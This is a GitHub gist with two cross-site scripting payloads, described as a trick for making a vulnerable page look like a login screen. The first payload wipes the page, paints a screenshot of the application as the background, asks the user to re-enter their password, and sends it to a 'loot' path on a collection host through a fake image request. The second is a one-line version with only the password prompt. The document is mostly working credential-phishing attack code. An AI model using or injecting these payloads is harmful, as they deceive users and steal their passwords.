Skip to content

Instantly share code, notes, and snippets.

@hoodoer

hoodoer/betterXssBackgroundImage.txt

Last active June 2, 2021 15:24
Show Gist options
  • Save hoodoer/631932df01fbfbfbe37900e73a946e6d to your computer and use it in GitHub Desktop.
Save hoodoer/631932df01fbfbfbe37900e73a946e6d to your computer and use it in GitHub Desktop.
Download ZIP
Simple reflected XSS trick to blank page, set background image (such as an appropriate application page), and prompt user. Great on XSS on messy pages, can make it look like a login page quickly for a screenshot.
Raw
betterXssBackgroundImage.txt
<html>
<body>
<script>
// Fake the application with a screenshot
document.body.outerHTML = '';
document.body.innerHTML = '';
document.body.style.backgroundImage = "url('http://localhost:80/background.png')";
document.body.style.backgroundRepeat = "no-repeat";
// Ask user to re-enter their password
var password = prompt("Please reenter your password again ", "");
// Send the password off
var fakeImageDownload = new Image();
fakeImageDownload.onload = function()
{
image.src = this.src;
}
fakeImageDownload.src = "http://localhost:80/loot/" + password + ".png";
</script>
</body>
</html>
Raw
xssBackgroundImage.txt
Blotto the existing page, set the background to some image of their app, use a prompt
<script>document.body.innerHTML = '';document.body.style.backgroundImage = "url('https://upload.wikimedia.org/wikipedia/en/d/df/Smiley_face_2.jpg')";prompt("Please enter your password again to access", "")</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment